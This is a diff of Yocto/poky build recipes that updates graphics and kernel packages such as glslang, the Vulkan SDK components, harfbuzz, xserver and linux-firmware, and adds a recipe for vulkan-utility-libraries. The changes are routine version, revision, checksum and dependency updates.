diff --git a/poky/meta/recipes-graphics/glslang/glslang_1.3.261.1.bb b/poky/meta/recipes-graphics/glslang/glslang_1.3.268.0.bb
index e607045148..033830ba36 100644
--- a/poky/meta/recipes-graphics/glslang/glslang_1.3.261.1.bb
+++ b/poky/meta/recipes-graphics/glslang/glslang_1.3.268.0.bb
@@ -8,13 +8,14 @@ HOMEPAGE = "https://www.khronos.org/opengles/sdk/tools/Reference-Compiler"
LICENSE = "BSD-3-Clause & BSD-2-Clause & MIT & Apache-2.0 & GPL-3-with-bison-exception"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2a2b5acd7bc4844964cfda45fe807dc3"
-SRCREV = "76b52ebf77833908dc4c0dd6c70a9c357ac720bd"
+SRCREV = "36d08c0d940cf307a23928299ef52c7970d8cee6"
SRC_URI = "git://github.com/KhronosGroup/glslang.git;protocol=https;branch=main \
file://0001-generate-glslang-pkg-config.patch \
"
PE = "1"
# These recipes need to be updated in lockstep with each other:
# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
# The tags versions should always be sdk-x.y.z, as this is what
# upstream considers a release.
UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
@@ -22,12 +23,15 @@ S = "${WORKDIR}/git"
inherit cmake python3native
+DEPENDS = "spirv-tools"
+
EXTRA_OECMAKE = " \
-DCMAKE_BUILD_TYPE=Release \
-DBUILD_SHARED_LIBS=ON \
-DENABLE_PCH=OFF \
-DENABLE_CTEST=OFF \
-DBUILD_EXTERNAL=OFF \
+ -DALLOW_EXTERNAL_SPIRV_TOOLS=ON \
"
BBCLASSEXTEND = "native nativesdk"
diff --git a/poky/meta/recipes-graphics/graphene/graphene_1.10.8.bb b/poky/meta/recipes-graphics/graphene/graphene_1.10.8.bb
index 55d8a2d74e..e2e82b32aa 100644
--- a/poky/meta/recipes-graphics/graphene/graphene_1.10.8.bb
+++ b/poky/meta/recipes-graphics/graphene/graphene_1.10.8.bb
@@ -3,7 +3,6 @@ HOMEPAGE = "http://ebassi.github.io/graphene/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=a7d871d9e23c450c421a85bb2819f648"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gobject-introspection gtk-doc
diff --git a/poky/meta/recipes-graphics/harfbuzz/harfbuzz_8.2.1.bb b/poky/meta/recipes-graphics/harfbuzz/harfbuzz_8.3.0.bb
index df41af29f9..d733342682 100644
--- a/poky/meta/recipes-graphics/harfbuzz/harfbuzz_8.2.1.bb
+++ b/poky/meta/recipes-graphics/harfbuzz/harfbuzz_8.3.0.bb
@@ -9,7 +9,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b98429b8e8e3c2a67cfef01e99e4893d \
"
SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "0fec78f98c9c8faf228957a201c8846f809452c20f8445eb092a1ba6f22dbea5"
+SRC_URI[sha256sum] = "109501eaeb8bde3eadb25fab4164e993fbace29c3d775bcaa1c1e58e2f15f847"
DEPENDS += "glib-2.0-native"
diff --git a/poky/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb b/poky/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
index 529b374c7d..90cd09ea70 100644
--- a/poky/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
+++ b/poky/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
@@ -24,7 +24,7 @@ PACKAGE_BEFORE_PN = "${PN}-benchmarks ${PN}-tests"
PACKAGECONFIG[chamelium] = "-Dchamelium=enabled,-Dchamelium=disabled,gsl xmlrpc-c"
-EXTRA_OEMESON = "-Ddocs=disabled -Drunner=enabled -Dsrcdir=/usr/src/debug/${PN}/${PV}-${PR}/git/ -Dversion_hash=${PV}"
+EXTRA_OEMESON = "-Ddocs=disabled -Drunner=enabled -Dsrcdir=${TARGET_DBGSRC_DIR}/git/ -Dversion_hash=${PV}"
COMPATIBLE_HOST = "(x86_64.*|i.86.*|arm.*|aarch64).*-linux"
COMPATIBLE_HOST:libc-musl:class-target = "null"
SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
diff --git a/poky/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.0.bb b/poky/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.1.bb
index 146d80008c..132d4b375a 100644
--- a/poky/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.0.bb
+++ b/poky/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.1.bb
@@ -10,7 +10,7 @@ DEPENDS:append:x86:class-target = " nasm-native"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz"
-SRC_URI[sha256sum] = "c77c65fcce3d33417b2e90432e7a0eb05f59a7fff884022a9d931775d583bfaa"
+SRC_URI[sha256sum] = "22429507714ae147b3acacd299e82099fce5d9f456882fc28e252e4579ba2a75"
UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libjpeg-turbo/files/"
UPSTREAM_CHECK_REGEX = "/libjpeg-turbo/files/(?P<pver>(\d+[\.\-_]*)+)/"
@@ -24,7 +24,7 @@ RCONFLICTS:${PN} += "jpeg"
inherit cmake pkgconfig
-export NASMENV = "--reproducible --debug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+export NASMENV = "--reproducible --debug-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}"
# Add nasm-native dependency consistently for all build arches is hard
EXTRA_OECMAKE:append:class-native = " -DWITH_SIMD=False"
diff --git a/poky/meta/recipes-graphics/libsdl2/libsdl2_2.28.3.bb b/poky/meta/recipes-graphics/libsdl2/libsdl2_2.28.5.bb
index f866a3618f..fd876df0ad 100644
--- a/poky/meta/recipes-graphics/libsdl2/libsdl2_2.28.3.bb
+++ b/poky/meta/recipes-graphics/libsdl2/libsdl2_2.28.5.bb
@@ -25,7 +25,7 @@ SRC_URI = "http://www.libsdl.org/release/SDL2-${PV}.tar.gz"
S = "${WORKDIR}/SDL2-${PV}"
-SRC_URI[sha256sum] = "7acb8679652701a2504d734e2ba7543ec1a83e310498ddd22fd44bf965eb5518"
+SRC_URI[sha256sum] = "332cb37d0be20cb9541739c61f79bae5a477427d79ae85e352089afdaf6666e4"
inherit cmake lib_package binconfig-disabled pkgconfig upstream-version-is-even
diff --git a/poky/meta/recipes-graphics/libva/libva-initial_2.19.0.bb b/poky/meta/recipes-graphics/libva/libva-initial_2.20.0.bb
index 453096822f..453096822f 100644
--- a/poky/meta/recipes-graphics/libva/libva-initial_2.19.0.bb
+++ b/poky/meta/recipes-graphics/libva/libva-initial_2.20.0.bb
diff --git a/poky/meta/recipes-graphics/libva/libva.inc b/poky/meta/recipes-graphics/libva/libva.inc
index 3388fea32b..486291bced 100644
--- a/poky/meta/recipes-graphics/libva/libva.inc
+++ b/poky/meta/recipes-graphics/libva/libva.inc
@@ -18,7 +18,7 @@ LICENSE = "MIT"
SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/libva-${PV}.tar.bz2"
LIC_FILES_CHKSUM = "file://COPYING;md5=2e48940f94acb0af582e5ef03537800f"
-SRC_URI[sha256sum] = "963be798d559df7feebda6fa81aa0dae6f9409c633a37909c44c6aa8af1e2174"
+SRC_URI[sha256sum] = "f72bdb4f48dfe71ad01f1cbefe069672a2c949a6abd51cf3c4d4784210badc49"
S = "${WORKDIR}/libva-${PV}"
diff --git a/poky/meta/recipes-graphics/libva/libva_2.19.0.bb b/poky/meta/recipes-graphics/libva/libva_2.20.0.bb
index 63dc5af8f2..63dc5af8f2 100644
--- a/poky/meta/recipes-graphics/libva/libva_2.19.0.bb
+++ b/poky/meta/recipes-graphics/libva/libva_2.20.0.bb
diff --git a/poky/meta/recipes-graphics/pango/pango_1.51.0.bb b/poky/meta/recipes-graphics/pango/pango_1.51.0.bb
index 77a1901248..85a0270a3f 100644
--- a/poky/meta/recipes-graphics/pango/pango_1.51.0.bb
+++ b/poky/meta/recipes-graphics/pango/pango_1.51.0.bb
@@ -11,7 +11,6 @@ LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gi-docgen ptest-gnome upstream-version-is-even gobject-introspection
diff --git a/poky/meta/recipes-graphics/shaderc/shaderc_2023.6.bb b/poky/meta/recipes-graphics/shaderc/shaderc_2023.7.bb
index 5afdec5ce9..e4555af6d5 100644
--- a/poky/meta/recipes-graphics/shaderc/shaderc_2023.6.bb
+++ b/poky/meta/recipes-graphics/shaderc/shaderc_2023.7.bb
@@ -6,7 +6,7 @@ HOMEPAGE = "https://github.com/google/shaderc"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
-SRCREV = "9547789ecfa1be140327057e766ba80666b66e21"
+SRCREV = "23cc2d78fd4f866b6ab527886a396bec36948605"
SRC_URI = "git://github.com/google/shaderc.git;protocol=https;branch=main \
file://0001-cmake-disable-building-external-dependencies.patch \
file://0002-libshaderc_util-fix-glslang-header-file-location.patch \
diff --git a/poky/meta/recipes-graphics/spir/spirv-headers_1.3.261.1.bb b/poky/meta/recipes-graphics/spir/spirv-headers_1.3.268.0.bb
index 945f0879f5..7045f70473 100644
--- a/poky/meta/recipes-graphics/spir/spirv-headers_1.3.261.1.bb
+++ b/poky/meta/recipes-graphics/spir/spirv-headers_1.3.268.0.bb
@@ -4,11 +4,12 @@ HOMEPAGE = "https://www.khronos.org/registry/spir-v"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=c938b85bceb8fb26c1a807f28a52ae2d"
-SRCREV = "124a9665e464ef98b8b718d572d5f329311061eb"
+SRCREV = "e867c06631767a2d96424cbec530f9ee5e78180f"
SRC_URI = "git://github.com/KhronosGroup/SPIRV-Headers;protocol=https;branch=main"
PE = "1"
# These recipes need to be updated in lockstep with each other:
# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
# The tags versions should always be sdk-x.y.z, as this is what
# upstream considers a release.
UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-graphics/spir/spirv-tools_1.3.261.1.bb b/poky/meta/recipes-graphics/spir/spirv-tools_1.3.268.0.bb
index 6904288299..1cccafdad0 100644
--- a/poky/meta/recipes-graphics/spir/spirv-tools_1.3.261.1.bb
+++ b/poky/meta/recipes-graphics/spir/spirv-tools_1.3.268.0.bb
@@ -7,11 +7,12 @@ SECTION = "graphics"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRCREV = "e553b884c7c9febaa4e52334f683641fb5f196a0"
+SRCREV = "360d469b9eac54d6c6e20f609f9ec35e3a5380ad"
SRC_URI = "git://github.com/KhronosGroup/SPIRV-Tools.git;branch=main;protocol=https"
PE = "1"
# These recipes need to be updated in lockstep with each other:
# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
# The tags versions should always be sdk-x.y.z, as this is what
# upstream considers a release.
UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-graphics/vulkan/vulkan-headers_1.3.261.1.bb b/poky/meta/recipes-graphics/vulkan/vulkan-headers_1.3.268.0.bb
index 01eb14b9fb..a1a83317da 100644
--- a/poky/meta/recipes-graphics/vulkan/vulkan-headers_1.3.261.1.bb
+++ b/poky/meta/recipes-graphics/vulkan/vulkan-headers_1.3.268.0.bb
@@ -11,7 +11,7 @@ LICENSE = "Apache-2.0 & MIT"
LIC_FILES_CHKSUM = "file://LICENSE.md;md5=1bc355d8c4196f774c8b87ed1a8dd625"
SRC_URI = "git://github.com/KhronosGroup/Vulkan-Headers.git;branch=main;protocol=https"
-SRCREV = "85c2334e92e215cce34e8e0ed8b2dce4700f4a50"
+SRCREV = "7b3466a1f47a9251ac1113efbe022ff016e2f95b"
S = "${WORKDIR}/git"
@@ -21,7 +21,8 @@ FILES:${PN} += "${datadir}/vulkan"
RDEPENDS:${PN} += "python3-core"
# These recipes need to be updated in lockstep with each other:
-# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools,
+# vulkan-validation-layers, vulkan-utility-libraries.
# The tags versions should always be sdk-x.y.z, as this is what
# upstream considers a release.
UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-graphics/vulkan/vulkan-loader_1.3.261.1.bb b/poky/meta/recipes-graphics/vulkan/vulkan-loader_1.3.268.0.bb
index 01cbeafa3e..5a5749d40c 100644
--- a/poky/meta/recipes-graphics/vulkan/vulkan-loader_1.3.261.1.bb
+++ b/poky/meta/recipes-graphics/vulkan/vulkan-loader_1.3.268.0.bb
@@ -9,8 +9,8 @@ SECTION = "libs"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7dbefed23242760aa3475ee42801c5ac"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=main;protocol=https"
-SRCREV = "afdd025ead2b63b2c73d900ab128a2d3b512cdf0"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=vulkan-sdk-1.3.268;protocol=https"
+SRCREV = "f4c838e2e7358fc450f8112119bbdbb5b03e03fa"
S = "${WORKDIR}/git"
@@ -36,7 +36,8 @@ PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SU
RRECOMMENDS:${PN} = "mesa-vulkan-drivers"
# These recipes need to be updated in lockstep with each other:
-# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools,
+# vulkan-validation-layers, vulkan-utility-libraries.
# The tags versions should always be sdk-x.y.z, as this is what
# upstream considers a release.
UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch b/poky/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch
index 7609011421..c16e05112f 100644
--- a/poky/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch
+++ b/poky/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch
@@ -9,7 +9,7 @@ in the debug source remapping from CFLAGS
We export the right path to use in the recipe with:
-EXTRA_OECMAKE = "-DCMAKE_DEBUG_SRCDIR=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/"
+EXTRA_OECMAKE = "-DCMAKE_DEBUG_SRCDIR=${TARGET_DBGSRC_DIR}/"
and we then patch this into the code instead of the broken use
of CMAKE_SOURCE_DIR since __FILENAME__ will match our path prefix
diff --git a/poky/meta/recipes-graphics/vulkan/vulkan-samples_git.bb b/poky/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
index 66f1ef5e9d..d60c0f3190 100644
--- a/poky/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
+++ b/poky/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
@@ -29,7 +29,7 @@ FILES:${PN} += "${datadir}"
# used for logging with LOGE in the code. We need to make this match the value we use
# in the debug source remapping from CFLAGS
#
-EXTRA_OECMAKE += "-DCMAKE_DEBUG_SRCDIR=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/"
+EXTRA_OECMAKE += "-DCMAKE_DEBUG_SRCDIR=${TARGET_DBGSRC_DIR}/"
# Binaries built with PCH enabled don't appear reproducible, differing results were seen
# from some builds depending on the point the PCH was compiled. Disable it to be
# deterministic
diff --git a/poky/meta/recipes-graphics/vulkan/vulkan-tools_1.3.261.1.bb b/poky/meta/recipes-graphics/vulkan/vulkan-tools_1.3.268.0.bb
index 7a7edc9ebd..78bd9b0e04 100644
--- a/poky/meta/recipes-graphics/vulkan/vulkan-tools_1.3.261.1.bb
+++ b/poky/meta/recipes-graphics/vulkan/vulkan-tools_1.3.268.0.bb
@@ -7,7 +7,7 @@ SECTION = "libs"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
SRC_URI = "git://github.com/KhronosGroup/Vulkan-Tools.git;branch=main;protocol=https"
-SRCREV = "a7da7027ca9fd0901639f02619c226da9c6036f1"
+SRCREV = "1532001f7edae559af1988293eec90bc5e2607d5"
S = "${WORKDIR}/git"
@@ -31,6 +31,7 @@ PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SU
# These recipes need to be updated in lockstep with each other:
# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
# The tags versions should always be sdk-x.y.z, as this is what
# upstream considers a release.
UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.268.0.bb b/poky/meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.268.0.bb
new file mode 100644
index 0000000000..fee4ba6cc9
--- /dev/null
+++ b/poky/meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.268.0.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Vulkan Utility Libraries"
+DESCRIPTION = "Common libraries created to share code across various \
+Vulkan repositories, solving long standing issues for Vulkan SDK \
+developers and users."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Utility-Libraries"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=4ca2d6799091aaa98a8520f1b793939b"
+
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Utility-Libraries.git;branch=main;protocol=https"
+SRCREV = "c9ca4ac620a238a93c65d864f2eaa33954d74509"
+
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+DEPENDS = "vulkan-headers"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ "
+
+inherit cmake features_check pkgconfig
+
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools,
+# vulkan-validation-layers, spirv-headers, spirv-tools,
+# vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.261.1.bb b/poky/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.268.0.bb
index 1e2a0acedb..6c2715b041 100644
--- a/poky/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.261.1.bb
+++ b/poky/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.268.0.bb
@@ -8,14 +8,14 @@ SECTION = "libs"
LICENSE = "Apache-2.0 & MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=cd3c0bc366cd9b6a906e22f0bcb5910f"
-SRC_URI = "git://git@github.com/KhronosGroup/Vulkan-ValidationLayers.git;branch=sdk-1.3.261;protocol=https"
-SRCREV = "628cd310bef6d54b4e6b25b5ac2ed013473409d6"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-ValidationLayers.git;branch=vulkan-sdk-1.3.268;protocol=https"
+SRCREV = "3c64adb4e052062fc60b6580c365429fddfbcfbf"
S = "${WORKDIR}/git"
REQUIRED_DISTRO_FEATURES = "vulkan"
-DEPENDS = "vulkan-headers vulkan-loader spirv-headers spirv-tools glslang"
+DEPENDS = "vulkan-headers vulkan-loader spirv-headers spirv-tools glslang vulkan-utility-libraries"
# BUILD_TESTS - Not required for OE builds
# USE_ROBIN_HOOD_HASHING - Provides substantial performance improvements on all platforms.
@@ -42,7 +42,8 @@ FILES_SOLIBSDEV = ""
# These recipes need to be updated in lockstep with each other:
# glslang, vulkan-headers, vulkan-loader, vulkan-tools,
-# vulkan-validation-layers, spirv-headers, spirv-tools
+# vulkan-validation-layers, spirv-headers, spirv-tools,
+# vulkan-utility-libraries.
# The tags versions should always be sdk-x.y.z, as this is what
# upstream considers a release.
UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb b/poky/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb
index 98df6dab21..8a93f8c0fe 100644
--- a/poky/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb
+++ b/poky/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb
@@ -41,3 +41,5 @@ EXTRA_OEMESON:append:armv7a = "${@bb.utils.contains("TUNE_FEATURES","neon","","
EXTRA_OEMESON:append:armv7ve = "${@bb.utils.contains("TUNE_FEATURES","neon",""," -Dneon=disabled",d)}"
BBCLASSEXTEND = "native nativesdk"
+
+CVE_STATUS[CVE-2023-37769] = "not-applicable-config: stress-test is an uninstalled test"
diff --git a/poky/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.39.bb b/poky/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.40.bb
index 4795464ac0..5c1f475739 100644
--- a/poky/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.39.bb
+++ b/poky/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.40.bb
@@ -10,10 +10,10 @@ HOMEPAGE = "http://freedesktop.org/wiki/Software/XKeyboardConfig"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xkeyboard-config"
LICENSE = "MIT & MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0e7f21ca7db975c63467d2e7624a12f9"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8fc8ae699974c360e2e2e883a63ce264"
SRC_URI = "${XORG_MIRROR}/individual/data/xkeyboard-config/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "5ac5f533eff7b0c116805fe254fd79b2c9882700a4f9f2c070f8c4eae5aaa682"
+SRC_URI[sha256sum] = "7a3dba1bec7dc7191432da021242d17c9cf6c89690e6c57b0de048ff8c9d2ae3"
SECTION = "x11/libs"
DEPENDS = "util-macros libxslt-native"
diff --git a/poky/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.8.bb b/poky/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.9.bb
index 19db7ea434..43c06181e3 100644
--- a/poky/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.8.bb
+++ b/poky/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.9.bb
@@ -3,7 +3,7 @@ require xserver-xorg.inc
SRC_URI += "file://0001-xf86pciBus.c-use-Intel-ddx-only-for-pre-gen4-hardwar.patch \
file://0001-Avoid-duplicate-definitions-of-IOPortBase.patch \
"
-SRC_URI[sha256sum] = "38aadb735650c8024ee25211c190bf8aad844c5f59632761ab1ef4c4d5aeb152"
+SRC_URI[sha256sum] = "ff697be2011b4c4966b7806929e51b7a08e9d33800d505305d26d9ccde4b533a"
# These extensions are now integrated into the server, so declare the migration
# path for in-place upgrades.
diff --git a/poky/meta/recipes-graphics/xwayland/xwayland_23.2.1.bb b/poky/meta/recipes-graphics/xwayland/xwayland_23.2.2.bb
index e97a921a96..9feac147db 100644
--- a/poky/meta/recipes-graphics/xwayland/xwayland_23.2.1.bb
+++ b/poky/meta/recipes-graphics/xwayland/xwayland_23.2.2.bb
@@ -10,7 +10,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=5df87950af51ac2c5822094553ea1880"
SRC_URI = "https://www.x.org/archive/individual/xserver/xwayland-${PV}.tar.xz"
-SRC_URI[sha256sum] = "eebc2692c3aa80617d78428bc6ec7b91b254a98214d2a70e997098503cd6ef90"
+SRC_URI[sha256sum] = "9f7c0938d2a41e941ffa04f99c35e5db2bcd3eec034afe8d35d5c810a22eb0a8"
UPSTREAM_CHECK_REGEX = "xwayland-(?P<pver>\d+(\.(?!90\d)\d+)+)\.tar"
diff --git a/poky/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb b/poky/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
index 3fcfe4b4c3..941160ea9c 100644
--- a/poky/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
+++ b/poky/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
@@ -11,7 +11,7 @@ LIC_FILES_CHKSUM = "\
DEPENDS = "git-native"
-SRCREV = "6645d3897cc2eeb1237ee0e2ff5342bd73ee0875"
+SRCREV = "7160ebe8b865dd6028aef278efa219433db93f7e"
PV = "0.3+git"
inherit native
diff --git a/poky/meta/recipes-kernel/kmod/kmod_30.bb b/poky/meta/recipes-kernel/kmod/kmod_31.bb
index 6fc9da9c82..934a678a06 100644
--- a/poky/meta/recipes-kernel/kmod/kmod_30.bb
+++ b/poky/meta/recipes-kernel/kmod/kmod_31.bb
@@ -15,7 +15,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
"
inherit autotools bash-completion gtk-doc pkgconfig manpages update-alternatives
-SRCREV = "5d46434a63ae0160150a0efdde1914873697e273"
+SRCREV = "aff617ea871d0568cc491bd116c0be1e857463bb"
SRC_URI = "git://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git;branch=master;protocol=https \
file://depmod-search.conf \
diff --git a/poky/meta/recipes-kernel/linux-firmware/linux-firmware_20230804.bb b/poky/meta/recipes-kernel/linux-firmware/linux-firmware_20231030.bb
index 1dbe8374bc..c0394b9b3b 100644
--- a/poky/meta/recipes-kernel/linux-firmware/linux-firmware_20230804.bb
+++ b/poky/meta/recipes-kernel/linux-firmware/linux-firmware_20231030.bb
@@ -12,6 +12,7 @@ LICENSE = "\
& Firmware-amdgpu \
& Firmware-amd-ucode \
& Firmware-amlogic_vdec \
+ & Firmware-amphion_vpu \
& Firmware-atheros_firmware \
& Firmware-atmel \
& Firmware-broadcom_bcm43xx \
@@ -32,6 +33,7 @@ LICENSE = "\
& Firmware-i915 \
& Firmware-ibt_firmware \
& Firmware-ice \
+ & Firmware-ice_enhanced \
& Firmware-it913x \
& Firmware-iwlwifi_firmware \
& Firmware-IntcSST2 \
@@ -39,11 +41,14 @@ LICENSE = "\
& Firmware-linaro \
& Firmware-Lontium \
& Firmware-Marvell \
+ & Firmware-mediatek \
+ & Firmware-microchip \
& Firmware-moxa \
& Firmware-myri10ge_firmware \
& Firmware-netronome \
& Firmware-nvidia \
& Firmware-nxp \
+ & Firmware-nxp_mc_firmware \
& Firmware-OLPC \
& Firmware-ath9k-htc \
& Firmware-phanfw \
@@ -78,6 +83,7 @@ LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
file://LICENSE.amdgpu;md5=a2589a05ea5b6bd2b7f4f623c7e7a649 \
file://LICENSE.amd-ucode;md5=6ca90c57f7b248de1e25c7f68ffc4698 \
file://LICENSE.amlogic_vdec;md5=dc44f59bf64a81643e500ad3f39a468a \
+ file://LICENSE.amphion_vpu;md5=2bcdc00527b2d0542bd92b52aaec2b60 \
file://LICENCE.atheros_firmware;md5=30a14c7823beedac9fa39c64fdd01a13 \
file://LICENSE.atmel;md5=aa74ac0c60595dee4d4e239107ea77a3 \
file://LICENCE.broadcom_bcm43xx;md5=3160c14df7228891b868060e1951dfbc \
@@ -99,6 +105,7 @@ LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
file://LICENSE.i915;md5=2b0b2e0d20984affd4490ba2cba02570 \
file://LICENCE.ibt_firmware;md5=fdbee1ddfe0fb7ab0b2fcd6b454a366b \
file://LICENSE.ice;md5=742ab4850f2670792940e6d15c974b2f \
+ file://LICENSE.ice_enhanced;md5=f305cfc31b64f95f774f9edd9df0224d \
file://LICENCE.IntcSST2;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
file://LICENCE.it913x;md5=1fbf727bfb6a949810c4dbfa7e6ce4f8 \
file://LICENCE.iwlwifi_firmware;md5=2ce6786e0fc11ac6e36b54bb9b799f1b \
@@ -107,12 +114,14 @@ LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
file://LICENSE.Lontium;md5=4ec8dc582ff7295f39e2ca6a7b0be2b6 \
file://LICENCE.Marvell;md5=28b6ed8bd04ba105af6e4dcd6e997772 \
file://LICENCE.mediatek;md5=7c1976b63217d76ce47d0a11d8a79cf2 \
+ file://LICENCE.microchip;md5=db753b00305675dfbf120e3f24a47277 \
file://LICENCE.moxa;md5=1086614767d8ccf744a923289d3d4261 \
file://LICENCE.myri10ge_firmware;md5=42e32fb89f6b959ca222e25ac8df8fed \
